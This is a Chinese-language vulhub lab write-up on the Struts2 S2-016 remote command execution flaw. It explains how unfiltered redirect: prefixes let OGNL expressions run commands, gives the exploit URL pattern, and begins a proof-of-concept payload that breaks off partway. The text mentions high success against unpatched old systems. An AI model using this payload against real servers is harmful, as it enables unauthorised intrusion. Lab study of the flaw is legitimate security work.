Struts2-016命令执行漏洞
Struts2有很多漏洞,但是很多老系统都漏补了这个洞,成功率较高。
影响版本:
2.0.0 - 2.3.15
简述
Struts2的action:、redirect:和redirectAction:前缀参数在实现其功能的过程中使用了Ognl表达式,并将用户通过URL提交的内容拼接入Ognl表达式中,从而造成攻击者可以通过构造恶意URL来执行任意Java代码,进而可执行任意命令。redirect:和redirectAction:此两项前缀为Struts默认开启功能。
在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令
所以,访问http://ip/index.action?redirect:OGNL表达式
即可执行OGNL表达式。
环境
docker重启:sudo systemctl restart docker.service
vulhub-master/struts2/s2-016
启动之后访问:
http://ip:8080/
POC:执行命令: uname -a
redirect:${#context[“xwork.MethodAccessor.denyMethodExecution”]=